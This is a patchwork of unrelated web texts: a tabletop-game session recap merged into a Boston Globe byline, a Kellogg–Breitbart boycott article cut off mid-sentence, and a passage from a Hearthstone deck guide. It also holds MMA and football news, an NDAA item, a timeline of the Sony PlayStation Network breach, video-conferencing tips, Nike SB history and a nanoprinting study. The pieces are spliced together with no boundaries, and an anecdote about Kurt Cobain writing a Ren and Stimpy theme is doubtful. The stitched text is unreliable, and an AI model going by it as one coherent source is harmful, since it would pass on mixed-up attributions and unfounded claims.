James Pindell can be reached at james.pindell@globe.com. Follow him on Twitter @jamespindell or subscribe to his Ground Game newsletter on politics: http://pages.email.bostonglobe.com/GroundGameSignUpSo last night’s session was basically the Huld'riik show. The dice were good to me as our small party for the evening adventured towards a Silvan forest. Myself (warrior), the rogue, and the Cleric had two major encounters.
First, three bandits ambushed us on the road, I took an arrow to the shoulder and the Cleric took some nearly fatal blows and passed out. The Rogue kept one bandit busy with some “swishy-poke” action (took very little damage and dealt even less!). Thanks to some amazing rolls, I was able to decapitate one, bash in another’s skull with my shield, and slice the other one enough to take him down before stepping on his throat. All the while holding a cigar in my hand with the shield strapped to my arm.
After entering some foothills we set up camp. The Rogue took first watch and saw a badger, so he decided to practice his stealthy skills. As he approached it from behind he jumped out to scare it and have a laugh, only to find a giant-like creature jumping out to scare him. He dodged and ran, but took two hits that more than knocked him out. The Cleric awoke and was in full gear by the time I got up, wasting no time I approached the giant in only my helm, toting just my axe and shield.
After a bunch of great rolls (to include a Nat 20 followed by an 18) I was able to, mostly, single-handedly take down this creature by hacking away at one leg until it fell over. The Cleric helped, but was needed to revive the Rogue, who got up just in time to see the monster fall to its death!
After looting the body, we found the badger. It was a stuffed badger on a string, which the creature was pulling to bait someone (or play with, we’re not sure as we can’t ask). We gave the stuffed badger to our Rogue as a trophy.THE 9TH ANNUAL LOWER LIGHTS CHRISTMAS SHOWS DECEMBER 3-8, 2018 KINGSBURY HALL, SALT LAKE CITY, UTAH TICKETS ON SALE JULY 31st at 10:00 am
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for booking or other inquiries Sarah WIley booking@thelowerlights.comBoxes of Kellogg's Special K cereal are on display on a shelf at a supermarket in Omaha, Neb. The company said this week it was pulling advertising from Breitbart News, sparking a boycott by the right-wing conservative site. (Nati Harnik/AP Photo)
Froot Loops and Frosted Flakes aren't normally the kind of brands to get caught in the political crosshairs. But in the aftermath of a combustible election, Kellogg cereals and a growing number of consumer brands have suddenly found themselves the unexpected target of boycotts and hot-tempered rhetoric.
Kellogg said this week it would pull advertising from Breitbart News, the far-right web site that its critics say trades in racist and sexist content. In response, Breitbart called on readers to boycott the company, devoted a chunk of its front page to stories about Kellogg or the boycott, and sparked a social media outcry. Consumers on both the right and the left piled in, saying they would either stop buying the company's products -- or conversely, stock up on them.
The maker of Eggo waffles and Pop-Tarts is only the latest American corporation caught in the crossfire. In the weeks since the election, companies have navigated a sharply politicized environment, one that has entailed calls for boycotts, explosive social media responses to executive comments and thorny interactions between front-line workers and their customers.
"I’ve never seen anything like this before, where companies find themselves so open to attack for their points of view or their speech," said Leslie Gaines-Ross, chief reputation strategist for the public relations firm Weber Shandwick. "Companies are now much more in the fray and seen as political targets."
[Why some Donald Trump supporters are taking aim at Pepsi]
Protests have targeted companies after specific comments or incidents. After a New Balance executive made a supportive comment about Trump in response to a journalist's question about a trade deal -- New Balance manufacturers its shoes in the United States -- people shared images of themselves tossing or even burning its sneakers, and a neo-Nazi blogger hailed them as the "official shoes of white people."
At a conference, PepsiCo CEO Indra Nooyi said that some of her employees were "crying" about the election outcome. But she also congratulated Trump and called for unity. The comments triggered another call for a boycott by supporters of the president-elect.
Delta Air Lines was called out on social media for not immediately removing a passenger from a plane after his expletive-laden pro-Trump rant. The airline's CEO, Ed Bastian, later said in a memo to employees that it would ban the customer for life and refund other passengers' tickets. "I also want to make sure all of you know we have your backs," he wrote. "The heightened tension in our society means that now more than ever we must require civility on our planes and in our facilities."
Others have organized broader efforts. An app called "Boycott Trump," created by a grass-roots anti-Trump organization, tells users whether companies are connected to the president-elect. On Thursday, the organizers behind it said the app had been downloaded nearly 90,000 times since it was released Nov. 21. Before the election, a marketing strategist started the #grabyourwallet hashtag to encourage consumers to avoid companies that do business with the Trump family.
In Kellogg's case, the breakfast giant said its decision to pull ads from Breitbart "had nothing to do with politics." In an emailed statement, spokeswoman Kris Charles said "we regularly work with our media buying partners to ensure our ads do not appear on sites that aren't aligned with our values," and that after learning from consumers about the ads, it decided to stop advertising there. According to Digiday, other companies, including Allstate and Warby Parker, have also withdrawn ads, and may not have been aware of the ads, which are not bought directly from Breitbart but are referred to as "retargeted" advertising that follow users from site to site on the Internet.
Breitbart, which was formerly run by Stephen K. Bannon, who has been named Trump's chief strategist, declared "#war" on the cereal giant.
"Kellogg’s decision to blacklist one of the largest conservative media outlets in America is economic censorship of mainstream conservative political discourse," it said in a statement published by the Associated Press. "That is as un-American as it gets."
In an article on its web site, Breitbart President and CEO Larry Solov said "the only sensible response is to join together and boycott Kellogg’s products in protest." The Twitter hashtag #DumpKelloggs has been used more than 111,000 times in the past week, according to the analytics firm Brandwatch.
The explosive response, advisers say, is leaving many companies paralyzed by the potential ramifications of their words or actions, particularly in an environment where traditionally routine topics or actions have become politicized.
"It's definitely having a slowing and chilling effect on the willingness of some companies to step out and be as engaged in the public sphere," said Bruce Haynes, president of Purple Strategies, a bipartisan consultancy focused on corporate reputation and politics. "That’s even more amplified by the fact that there’s this unknown quantity about Donald Trump and his administration and how he will govern."
This also comes at a time when many companies have been more willing to speak out on political and social issues they had once avoided. More than 200 corporations, for instance, signed a letter by the Human Rights Campaign earlier this year demanding that North Carolina repeal a law that limits bathroom options for transgender people, with some even pulling expansion plans from the state, including PayPal and Deutsche Bank. More companies tout their commitments to diversity, the environment and gender equality, often promoting these to help connect with customers who increasingly make purchases based on their values.
Anthony Johndrow, CEO of a reputation advisory firm in New York, says he's spent recent years telling companies that "to connect with a new generation of consumers, you have to stand for something." But in the weeks since the election, "they're turning back to me and saying 'now what? It feels like if we talk about anything that's been part of the political discourse it's polarized. You're with us or against us.' "
Reputation experts say corporations appear to be preparing for how they'll respond if they become the next political target or trying to assess how well they're really in touch with the views of their customers following an election outcome that stunned many.
[Kellogg, citing 'values,' joins growing list of companies that pledged to stop advertising in Breitbart News]
Others say they expect companies to increase training or communications with front-line employees to make sure they know how to deal with volatile political situations. At the craft store chain Michael's, a customer loudly berated black employees, claiming she was being discriminated against and saying she'd voted for Trump. At a Starbucks in Florida, an irate customer lashed out at employees after waiting for his drink, saying "I voted for Trump!" Videos of |
, you’ll definitely want early minions such as Unbound Elemental, Feral Spirit, and Wild Pyromancer, as well as removal like Lightning Bolt.
Matchups
Stabilizing and keeping control of the board can be an easy task for Midrange Shaman; it’s what makes this deck so powerful and gives it little to no weaknesses. It’s the type of deck that can win any matchup with the right cards, but be careful, it can fall prey to Aggro decks.
Shaman matches up very well against heroes like Druid, Paladin, Mage, and Warrior. Priest can sometimes be an issue when running Thoughtsteal, Cabal Shadow Priest, and Shadow Madness, they are able to take control of your cards, luckily you can solve this with a little burst damage.
In the Warlock matchup, it’ll be a breeze against Handlock decks, but you’ll have a tough time against Warlock Aggro if you don’t get the right cards to deal with early threats. Going up against Rogue can be difficult; they match you in removal and burst damage. Stabilizing is the key to winning here.
Hunter is Shaman’s worst matchup. With no healing power in the deck, Hunter’s Hero Power puts you the clock to finish quickly or get pinged to death. Although Shaman really struggles against Hunter Aggro, Midrange Hunter is a different story. While you still have an expiration date, your chances of winning improve greatly.
Midrange Hunter is much slower than their Aggro counterpart, giving you a chance to burst them down faster than they can do to you. Doomhammer is a key card here, as it allows you to deal 16 damage alone, while also allows you to deal with the Hunter’s weak minions. Hex is also significant, being able to remove Savannah Highmane with ease. No matter which version you are playing against, you should be focused on being as aggressive as possible and racing the Hunter down, while dealing with threats. Try to minimize the damage you take.
Conclusion
Midrange Shaman is an all-around powerful deck. Its consistency and ability to handle any matchup make it one of the strongest decks available. It can grind very well on the ladder and can be used as a hard-to-counter opener in tournaments, especially with the decline of Aggro Hunter. We at DKMR find Shaman to be an under appreciated Hero and hope to see others unlock the potential this class has to offer.
Decks to Watch Out For
In this week’s decks to watch out for on the ladder and in tournaments, we have seen a recent increase in the number of spell power Rogue decks. We’ve also been seeing a different type of Druid deck that uses Wild Growth, popularized by the streamer Massan.Reigning GLORY heavyweight champion Rico Verhoeven is one of the baddest dudes on the planet and is more than willing to prove it.
During a time in combat sports when many fighters are lobbying for crossover superfights, the towering Dutchman has decided to throw his hat into the ring. After producing a 3-0 record in 2017 and expanding his current win streak to a career best nine, Verhoeven is looking to challenge some of the best heavyweights in mixed martial arts (MMA) moving forward.
One of the first names to pop up on Rico’s radar is none other than rising UFC heavyweight contender Francis Ngannou, who is coming off a Knockout of the Year performance against former K-1 World Grand Prix champion Alistair Overeem at UFC 218.
“It’s not like he’s the best striker, but Francis Ngannou… I don’t know what this guy’s doing, but God damn, he’s decapitating guys in there,” Verhoeven said in a recent interview with BJ Penn Radio. “I just love love the way he’s fighting right now, but I would also love to see him go for a second and third and fourth round and see how he does there after a few rounds. For now, he’s doing real good. He’s doing real good and I wish him all the best, who knows, maybe somebody we’re gonna fight each other…”
As if Ngannou wasn’t enough, Verhoeven is also hoping to get his hands on current UFC heavyweight champion Stipe Miocic. Miocic hasn’t lost since dropping a decision to Junior dos Santos back in 2014 and has finished all five of his recent victories by way of knockout.
“I’m open for any cross, mixed fight, you know?” Verhoeven said. “For example Stipe. You know, you gotta fight champions. Champion versus champion, the kickboxing king versus the king of heavyweight MMA. You know, a cross fight. I jump into MMA and then he jumps into kickboxing, boom, that’s what I’m calling a promotion, that’s a big fight.”
Miocic is currently slated to defend his UFC heavyweight title opposite Ngannou at UFC 220 on Jan. 20 live on pay-per-view (PPV) from inside TD Garden in Boston, Mass., as he attempts to set the divisional record for most consecutive title defenses (3).
Considering GLORY has direct partnership with UFC and airs its events on UFC Fight Pass, a potential clash between Verhoeven and Ngannou/Miocic isn’t entirely out of the question. And when you consider how shallow the UFC’s heavyweight division has become, allowing the champion to take a shot at Verhoeven wouldn’t hold things up too much.Dave Mandel/Sherdog
The Road Warriors. Demolition. The Hart Foundation. Scott Smith.
Which one of these names doesn't belong? Trick question, brother. All these names belong alongside one another in the annals of tag-team combat sports history.
At least they will once Nov. 23 has come and gone. That's the day that the California-based Gladiator Challenge MMA organization will get in touch with its inner carnival barker and host a tag-team MMA fight—you read that correctly—featuring Smith, a professional mixed martial arts veteran with multiple fights in the UFC, WEC and Strikeforce under his belt.
Smith (18-10-1) will team up for the action with fellow middleweight Blaine Wilson (1-2). The partners will face two other middleweights in Bellator alum Jaime "El Cucui" Jara (34-15) and Mike Quaintance (4-1).
The Gladiator Challenge news release for the event notes that the stakes for the fight will be nothing less than the very first tag-team championship in the history of mixed martial arts history. This is quite an age we live in.
Though the championship belts may or may not be a first, there is some precedent for tag-team MMA, though the examples in existence kind of make Gladiator Challenge look like the golden days of Pancrase by comparison.
Smith, 34, is probably best known to UFC fans for staging what is in many books the greatest in-fight comeback in UFC history. During their fight at The Ultimate Fighter 4 Finale, Pete Sell doubled Smith over with a body shot. But when Sell rushed in for the kill, Smith caught him with a perfect shot to the jaw, knocking Sell out and netting him the victory and a Fight of the Night bonus check.
But Smith is far from a one-hit wonder. Though his UFC record stands at a tepid 1-3, he does have career wins over the likes of Cung Le, Terry Martin and Kyle Noke.Also in the final version for the defense bill is a provision that bars the Department of Defense from using security software products from Russian-based Kaspersky Labs.
In all, more than 300 amendments were proposed for the Senate's NDAA.
The House passed its version of the 2018 defense authorization bill (or H.R. 2810) in July, so Monday's passage means the House-Senate conference committee will need to resolve differences before sending the legislation to President Donald Trump.
The final Senate version of the 1,215-page bill includes a base budget of $640 billion and another $60 billion for the so-called Overseas Contingency Operations war funding, which includes money for the wars in Iraq, Afghanistan and other locations.
One of those who voted against the NDAA was Tennessee Republican Bob Corker, chairman of the Senate Foreign Relations Committee and a member of the Senate Budget Committee. He released a statement saying he voted against it because the bill "exceeds the current budget caps by nearly $83 billion." Corker also was critical of the Overseas Contingency Operations funds, which he said have "been repeatedly abused to fund normal operations at the Departments of Defense and State in order to avoid exceeding statutory spending caps."
However, the Senate failed to vote on repealing the controversial sequestration in Monday's session due to a lack of quorum. Some Republicans charged it was hampered by deal making Democrats plan to use later on the overall budget.
"Whenever a Democratic senator says they are worried about the state of our military, that they are horrified at the kind of cuts that we're making, that they can't sleep at night because of what we're doing to troops in the field — don't believe them," Republican Sen. Tom Cotton of Arkansas said Monday on the Senate floor when there was an insufficient quorum to take up the sequestration repeal measure he proposed.
Added Cotton, "My amendment was the last best chance in years to stop this bust-and-boom cycle of budgeting. But what do Democrats do — they threw it away."
Also excluded from the Senate's NDAA was an amendment that would have slowed Trump's ban on transgenders serving in the military. An amendment with "Buy America" provisions also wasn't included in the final defense bill and a measure that would have restricted defense spending on medical research also wasn't in the final version of the legislation.Back when the UFC first decided that it wanted to get into the business of women’s MMA, which also happened to be right around the same time that Invicta FC was finding its footing as the only all-female fight promotion in North America, Invicta President Shannon Knapp used to get a lot of questions about how her organization could survive with the UFC siphoning off its best 135-pounders to co-star in the Ronda Rousey show.
Back then, Knapp had one standing answer to the question, and it was a pretty good one: The UFC had one women’s division, while Invicta had five. In other words, there were plenty of good fighters to go around.
Then the UFC added another women’s division – 115 pounds, which also threatened to cull the more ambitious fighters from the divisions just above and just below – and still, Knapp insisted, it wasn’t a big deal. Still plenty of fighters, plenty of talent, enough to populate a full fight card with no problem.
In theory, that seemed true. In practice, at least on Saturday night in Davenport, Iowa, it didn’t exactly feel that way.
I wouldn’t call Invicta FC 9 a bad event, but I can’t bring myself to call it good, either. It felt long, and not in the emotionally rewarding “Gone With The Wind” sense, either. It included nine bouts, all but one of which went to a decision, yet somehow it felt like a much harder slog from beginning to end than Invicta events of the past that included 13 or 14 fights.
Some of that might be due to the main event, which saw flyweight champ Barb Honchak clinch her way to a plodding five-round decision win over Takayo Hashi, but you can’t put it all on those two. My guess is that a lot of viewers didn’t even make it that far. There just wasn’t much in the way of in-cage fireworks to hold their attention, and even less in the way of recognizable names peppering the lineup.
The days when you could tune in to an Invicta event and expect to see Carla Esparza, Tecia Torres, Felice Herrig, Alexis Davis, and Joanne Calderwood all on the same fight card? Those days appear to be over, at least for now. All those fighters are now in the care of the UFC. They might come back around some day. Then again, they might not. What Invicta has to be wondering is, what is it supposed to do until then?
Call it the UFC talent drain, if you will. Invicta provided the platform for a lot of excellent female fighters to get valuable exposure and experience. Then the UFC decided there might be a future in this women’s MMA stuff after all, and it scooped up many of the best and brightest across two divisions, which really ended up affecting closer to four divisions.
Look at the first Invicta event and you see a main card comprised of six fights, four of which took place in the two divisions – bantamweight and strawweight – that the UFC has since raided for its own purposes. Even the atomweight fight on that main card, which pitted Jessica Penne against Lisa Ellis, wouldn’t be possible today. Both those fighters are featured on the season 20 cast of “The Ultimate Fighter.”
At Invicta FC 2, seven of the nine main card bouts were either bantamweight or strawweight affairs. At Invicta FC 4, it was five of six. Saturday night at Invicta FC 9, there were only two strawweight bouts on the entire card, and the lone bantamweight fight was the curtain-jerker between Kelly McGill and Maegan Goodwin, the latter of whom missed weight for her pro debut.
Point is, Invicta FC 9 didn’t offer much in the way of the two divisions that helped the organization get where it is today. It was also one of the least compelling events Invicta has ever put on, which seems like no coincidence.
That’s not to say Invicta is doomed, by any means. Give it some time, and it’ll likely find new stars. Plus, not all of the fighters currently employed by the UFC will stay that way, and some might even bring some new fans home with them when they return from reality TV land.
At the same time, it’s getting harder to pretend that those two divisions aren’t very important ones. That’s why the UFC wanted them, after all. That’s largely where the talent is right now in women’s MMA. Invicta can only go so far in trying to build around those weight classes, but it also knows that whatever it invests in building new names to populate them might be lost when the UFC comes looking for fresh meat.
It’s a tough spot, no doubt about it. But then, if anyone at Invicta thought building and sustaining a successful all-female fight promotion would be easy, they’re in the wrong business.’
(Pictured: Barb Honchak and Takayo Hashi)GETTY Liverpool want Aston Villa's Jordan Amavi
Jurgen Klopp is thought to be keen on landing a new left-back before the new season kicks off to add competition for current first-choice Alberto Moreno. And according to Le Parisien journalist Florian Fieschi, Villa's Amavi is on Klopp's summer shortlist.
Liverpool's sexiest WAGs Sat, January 9, 2016 Express Sport have compiled a collection of Liverpool's hottest WAGs Play slideshow Instagram 1 of 15 This Reds wag made the move from the south coast last season
French Football claim Klopp is a long-term admirer of the 22-year-old and even wanted him during his time in charge at Borussia Dortmund. Liverpool officials are said to have already met with the defender's representatives in June to discuss a potential switch to Anfield. The France Under-21 international only joined Villa a year ago but is likely to favour a summer move following Villa's relegation to the Championship.This is a timeline of major events associated with the attack on Sony's PlayStation Network and Qriocity online services. Dates are given relative to the location the events took place. Sony announcements, released globally, are listed according to their publication in the U.S. See also "PlayStation Network Security Breach: A Survival Guide."
Tuesday, April 19
Sony learned its PlayStation Network and Qriocity networks had been compromised. At the time, the company did not announce this. It was subsequently disclosed in a statement issued by the company's U.S. subsidiary on April 26.
Wednesday, April 20
Sony took its first public step by closing down the two networks, but it didn't disclose what it already knew: the networks had been hacked. It issued a statement that said, "We're aware certain functions of PlayStation Network are down. We will report back here as soon as we can with more information."
Thursday, April 21
The company said it was still investigating the cause of the outage and that it would be "a full day or two" before everything was back to normal.A posting on Sony Europe's PlayStation blog suggested the networks had been attacked. The posting was later removed, but numerous gaming news outlets reported it as saying, "Our support teams are investigating the cause of the problem, including the possibility of targeted behavior by an outside party."
Friday, April 22
Sony revealed for the first time the cause of the problems. "An external intrusion on our system has affected our PlayStation Network and Qriocity services. In order to conduct a thorough investigation and to verify the smooth and secure operation of our network services going forward, we turned off PlayStation Network & Qriocity services,"it said in a statement. It offered no details on when services might return to normal.
Hacking group "Anonymous" said in a statement that its core had nothing to do with the attack, but the message left open the possibility that individuals from the group might be responsible. "While it could be the case that other Anons have acted by themselves AnonOps was not related to this incident and takes no responsibility for it," the statement said. It accused Sony of taking advantage of previous attacks on its network to explain an internal problem with company servers.(Read more: PlayStation Network Enters Third Day of Outage)
Saturday, April 23
Sony said it was having to rebuild its network as a result of the attack. "Our efforts to resolve this matter involve rebuilding our system to further strengthen our network infrastructure," it said. "Though this task is time-consuming, we decided it was worth the time necessary to provide the system with additional security."The company said it was "working around the clock to bring them both back online," but didn't say when they might return. "We thank you for your patience to date and ask for a little more while we move towards completion of this project," the statement said.(Read more: Sony "Rebuilding" PlayStation Network After Attack)
Sunday, April 24
For the first time since the problems began, Sony went a day without releasing an update.
Monday, April 25
A spokesman for Sony in Tokyo told IDG News Service a "thorough investigation" was under way. He said the company had not yet determined whether the personal information or credit card numbers of users had been compromised, but that Sony would promptly inform users if it found that were the case.(Read more: Sony Yet to Determine Scope of PlayStation Network Attack)Computer security experts called in by Sony concluded a breach of consumer data had occurred when the PlayStation Network was hacked. At the time, the company held off on making the announcement until the next day.
Tuesday, April 26
Kaz Hirai, head of Sony's gaming division, appeared at a Tokyo news conference held to unveil the company's tablet PCs. Hirai expressed condolences and support for victims of the March earthquake and tsunami, talked about the new tablets and how they could download content from the Qriocity online service, but failed to mention the problems with Qriocity and the PlayStation Network. He left the stage without taking questions, as originally scheduled.(Read more: Sony Games Chief Hirai Silent on PlayStation Network Outage)
About 12 hours later, Sony released its most detailed statement to date on the hack and confirmed that personal information was stolen. The information included names and addresses for registered PlayStation Network and Qriocity users, along with their birth dates, e-mail addresses and other personal information."While there is no evidence at this time that credit card data was taken, we cannot rule out the possibility," Sony said. It advised customers to create credit card fraud alerts and keep a close eye on charges made to linked credit cards.It also said the PlayStation Network and Qriocity would be back online "within a week."(Read more: Sony: PlayStation Network Personal User Data Stolen)
Wednesday, April 27
Sony shares fell 2 percent on news of the potentially huge data leak, ending Wednesday trading in Tokyo at 2,366 yen, down 49 yen.
A class-action lawsuit was filed in the U.S. accusing Sony of not taking "reasonable care to protect, encrypt and secure the private and sensitive data of its users." It seeks monetary compensation and free credit card monitoring.
Sony published a detailed Q&A that clarified credit card information was stored in an encrypted form and added, "we have no evidence that credit card data was taken." Other personal information was not encrypted.
Thursday, April 28
Sony shares dropped 4.5 percent in Tokyo, to end the holiday-shortened week at 2,260 yen.
George Hotz, the hacker who received widespread grassroots support after being sued by Sony for posting code that can jailbreak Sony PlayStation consoles, blamed the company's recent data breach on executive-level arrogance. "The fault lies with the executives who declared a war on hackers, laughed at the idea of people penetrating the fortress that once was Sony, whined incessantly about piracy, and kept hiring more lawyers when they really needed to hire good security experts," said Hotz on his blog. "Alienating the hacker community is not a good idea."
(Read more: PlayStation Hacker: Sony Has Only Itself to Blame for Breach)
Sony hinted it is considering some form of compensation for users. In a blog posting, it wrote, "We are currently evaluating ways to show appreciation for your extraordinary patience as we work to get these services back online."
Friday, April 29
Hackers claim to have access to PSN customers' credit card numbers and reportedly try to hold the data for ransom, demanding payment from Sony, which refuses and declares that the data is encrypted.
Martyn Williams covers Japan and general technology breaking news for The IDG News Service. Follow Martyn on Twitter at @martyn_williams. Martyn's e-mail address is martyn_williams@idg.comA protest outside the White House on Tuesday organized by the George Soros-funded political action committee (PAC) MoveOn.org called for the prosecution of President Donald Trump’s son Donald Trump Jr. amid evidence a Russian lawyer offered to provide him with damaging information on Hillary Clinton in the run-up to last year’s presidential election.
“We saw just a few hours ago the email in which Donald Trump Jr. was promised as part of Russia and its government’s efforts to help Donald Trump win this election,” a leading protester said in front of the podium.
Just now outside the @WhiteHouse a collusion protest against @realDonaldTrump pic.twitter.com/reQPZ2ozb2 — PBS' To The Contrary (@ToTheContrary) July 11, 2017
Protesters could be seen holding placards produced by the progressive PAC MoveOn.org with the phrases “Resist” and “Investigate Trump,” with substantial funding from left-wing billionaire George Soros.
Small but animated protest in front of @WhiteHouse. pic.twitter.com/HRprcSVgBi — Steve Herman (@W7VOA) July 11, 2017
Protesters appeared to be calling for an investigation into Donald Trump and his son’s alleged collusion with Russia, although the organization’s Washington director suggested authorities should start prosecution proceedings immediately.
Read moreIn 1990, before Kurt Cobain hit it big with his band, Nirvana, he was a struggling, starving musician. One of his many stabs at fame was penning a theme song for the famous cartoon, Ren and Stimpy. Cobain recorded the song on the cheap, but felt proud of it. Studio executives at Nickelodeon heard the song, thought it was awful, and then threw it out. After Nirvana became famous with their 1991 album, Nevermind, the executives considered this decision to be a mistake.
While it has been confirmed that a couple of copies may still exist, the song has never found its way as a release to the general public. The version Nickelodeon had was trashed, so none of the executives hold a copy. Still, Cobain's estate is yet to comment on the matter. Many Ren and Stimpy fans who are also Nirvana fans are saddened by this.Video conferencing tips to help you look and sound your best.
Before the video conference begins, you need to consider your appearance (attire), equipment, preparations, and environment.
Appearance is everything. Be cognizant of your choice of clothing.
Blues and greens work well. Pastels and dark or neutral colors are preferable.
Avoid bright shiny jewelry as it can reflect light or create a glare.
Avoid wearing clothing with very bright or detailed patterns, which may be distracting on screen.
Avoid sharp contrasting colors such as black and white together. When you move about it can cause the focus to oscillate and destroy the picture clarity.
Avoid the colors red and white. These colors tend to bleed on the screen and reduce clarity of image.
Equipment
Prior to participating in a video conference, you want to make sure you:
Familiarize yourself with the equipment so you feel completely comfortable operating it.
Create camera presets so you can change camera positions often, resulting in more interesting, more active meetings.
Preparations
To prepare for a video conference, you should confirm those participating in the meeting and select a chairperson from the lead site, as well as a leader for each additional site. You should also distribute meeting materials to each participant. Be sure to include the following in the materials:
Clearly stated objectives
A prioritized agenda (in case the meeting runs longer than you originally anticipated)
Helpful visuals and graphics
Name tents designed to identify participants and/or locations — these can be purchased from any office supply store
Environment
It is important to set up the video conferencing environment correctly. Prior to participating in a video conference you should follow the steps outlined below.
Close the blinds. Verify that overhead lights and/or reflections are not in the camera’s view. Center the muted microphone on the conference room table.
Note: Waiting until the video conference begins to put the microphone on the table can cause disturbance at the distant (far) end(s), as well as audio problems on your (near) end. Ensure your banner is in place (if you have one).
Note: Just remember to remove the banner and place the camera on the participant(s) once the video conference begins. Make sure someone is in the room for roll call.
As the video conference begins
Follow these steps to ensure the meeting gets started “on the right foot.”
Introduce yourself. Clearly state the meeting objectives and your agenda. Conduct a roll call for each location. Ask all meeting participants to introduce themselves. Relax and be yourself by: Imagining the meeting participants are sitting directly across from you.
Speaking clearly and naturally.
During the video conference
Keep the following tips in mind during the video conference.
There is a slight delay between the time an individual speaks and the time you hear what he or she is saying. Therefore, you should allow the onscreen speaker to finish talking before you respond. Conversely, when you are finished speaking, you should pause to allow others to comment. Double-talking can cause rapid switching between sites.
Keep your system on mute unless you are speaking. Using the mute button prevents sites from switching unnecessarily during a voice-activated video conference. Just remember to unmute your microphone before you begin speaking.
As a courtesy, you should state your name, organization, and location before speaking.
Assume you are always on camera, even when not speaking
Be considerate when your microphone is not muted. Do not: Shuffle paper Tap your fingers Click your pen Carry on side conversations
If you display visuals, remember to switch the camera back when you resume discussion.
Alert the other parties before sending graphics, as you do not want multiple meeting participants sending graphics simultaneously.
Encourage participation by asking questions.
After the video conference
After the video conference is over, direct participants to leave the room the way it was set up when they arrived, ensuring the system is accessible and ready for another meeting.
Video conferences — when conducted correctly — can be enormously beneficial to your organization’s image and bottom line. If you have questions regarding the use of video in your organization, call us at 1-800-224-7083 to have an IVCi Representative contact you.The history of Nike SB is being celebrated this year thanks to the 15th anniversary of the Nike SB Dunk. Nike SB’s origin is really a story of Nike meeting customer demand while changing the public perception of the brand. Being one of the biggest corporations in the world opens you up to open rejection from a rebellious culture. The realm of skateboarding has it’s own cherished brands, and Nike’s original forays into the skate shoe market were not widely accepted by skaters.
Pre-SB
One thing skaters HAD been doing was wearing standard dunks or Air Jordan 1s while skating. Taking notice of this, Nike began producing the pro and pro b dunk lines which had some skate elements while not necessarily being sold as a skate shoe. Shoes like the Lightning and Olive Pro B’s showcased fat tongues, tongue straps and fat oval laces, while pairs like the Plum Pro B’s exemplified premium suede and flashy colorways.
History of Nike SB – Orange Box
In 2002, Nike officially beefed up the dunk silhouette with additional padding (especially in the tongue), zoom air, tongue straps and fat oval SB laces and released Nike SB’s to the world. These came out in an orange box.
One thing that saved them from immediate rejection in the skater community was their skate team, which brought together some well known skaters. Some of these skaters helped design some of the original SB Dunk colorways. This provided the link between the skate scene and the Swoosh. Team members such as Richard Mulder, Reese Forbes, Danny Supa and Gino Iannucci all had their own colorway(s).
Nike SB Gains Traction
Thanks to the quality of the first series of dunks, Nike SB would grow in popularity. Many high profile collabs also helped to make the brand widespread. To learn a little more about the next phase of Nike SB – Silver Box era – check out this article! Stay tuned to my blog for more Nike SB history articles to come!
Where To Cop Some SB Dunks?
As of the writing of this article, eBay is probably your best bet for finding the first SB's.. Watch out for fakes! If you want something more recent, try checking out the selection of newer Nike SB’s on Nike.com or Amazon.
The First SB’s (2002 Orange Box)
Supas
Gino 1
Gino 2
Paul Brown
Chocolate
Zoo York
Supreme Black
Supreme White
Wheat High
Flash
Loden
Sharks
Denim Reese Forbes
Affiliate Marketing notice: I get paid when you click on other sites product links and banners on my site and then buy things on those sites. Privacy PolicyA new way to print, and modify, nanoscale molecular samples could mean faster drug discovery and scientific experimentation. Combinatorial chemistry—exposing a huge array of slightly different molecules to samples in parallel—is an extremely fast way to screen drug molecules, or to test the way certain molecules affect biological cells.
Researchers at the International Institute for Nanotechnology at Northwestern University, in Chicago, led by director Chad Mirkin, have devised a way to rapidly prepare the smallest type of combinatorial chemistry array. They tested the approach by exposing stem cells to different-sized samples of fibronectin, a protein that plays an important role in cell adhesion, growth, and differentiation. The researchers used a nanoprinting technique previously developed by Mirkin’s group, called polymer pen lithography, that delivers samples to a substrate in parallel via the tips of millions of pyramid-shaped “pens.”
The innovation was to tilt the array slightly as these molecules were deposited, so that the pyramids closest to the surface make more contact and leave more material, while those farthest away leave less. Mirkin and colleagues found that, by tilting an array just 0.01 degrees, they could create 25 million fibronectin deposits of different size and structure.
When they applied stem cells to the array, they found that the size of the fibronectin molecules controlled the differentiation of these cells. “In the experiment, we only adjusted the size,” says Mirkin, whose group published their results in Proceedings of the National Academy of Science earlier this month
It may eventually be possible to change other features of samples, such as composition or shape, using the same technique. These are common features explored by drug companies, Mirkin says.
“The technique they developed is extremely powerful with the generation of a large number of features in parallel,” says Bing Yan, director of the High-Throughput Analytical Chemistry Facility at St Jude’s Children’s Research Hospital in Memphis, Tennessee, who was not involved with the research. “The number alone is very impressive.”
Along with drug testing, Yan says the approach could be used to test the reactivity of catalysts and the properties of new materials.Nov 12, 2016; Bloomington, IN, USA; Indiana's American flag helmets before the game against the Penn State Nittany Lions at Memorial Stadium. Mandatory Credit: Marc Lebryk-USA TODAY Sports
National Signing Day for college athletics approaches this week. Wednesday February 1st thousands of athletes will sign their National Letter of Intent. Here is a look at Indiana Football’s 2017 recruiting class.
Every year National Signing Day for school can be sort of chaotic. Players across the country will make their final decision on where they will play come the fall. Sorting out all the information for your team can be time-consuming, so we made it easy for you.
Throughout this week leading up to National Signing Day on Wednesday, we will be updating you on some of the recruits heading to Bloomington.
Indiana Hoosiers 2017 recruiting class has 23 commitments and rank No. 66 nationally according to 247Sports. The Hoosiers rank No. 13 in the Big Ten, but still have plenty of offers on the table waiting for Wednesday to come.
Below is the 2017 class as of February 1st, 2017. We will KEEP THIS FILE UPDATED THROUGH NATIONAL SIGNING DAY. Hoosier State of Mind will run a separate LIVE Tracker 24 hours on February 1st, 2017.
2017 National Signing Day Commits
updated 02/01/2017 4:50 p.m. ET
RB Morgan Ellison 6-1, 225 lbs. (Pickerington, OH), ★★★ signed National Letter of Intent on February 1st, 2017. Ellison de-committed from Ohio University on January 16th, 2017. Indiana offered on January 18th, running backs coach Deland McCullough visited on January 19th. He took his first official visit to Indiana on January 20th. Other schools in consideration: Bowling Green, Toledo, North Texas, Penn State, Michigan State
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Check out some highlights of Morgan Ellison #breakthrough ⬇️ https://t.co/plV70nFXid — Indiana Football (@HoosierFootball) February 1, 2017
2017 Indiana Football Enrollees
LB Mike McGinnis 6-2, 235 lbs. (Brooklyn, NY), ★★★
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DT Juan Harris 6-4, 368 lbs. (Janesville, WI), ★★★
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OT Tyler Knight 6-5, 275 lbs. (Saint Petersburg, FL), ★★★
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LB Thomas Allen 6-3, 220 lbs. (Tampa, FL), ★★★
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P Haydon Whitehead 6-2, 187 lbs. (Melborne, Victoria - Australia), ★★
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Players firmly committed to Indiana’s 2017 class
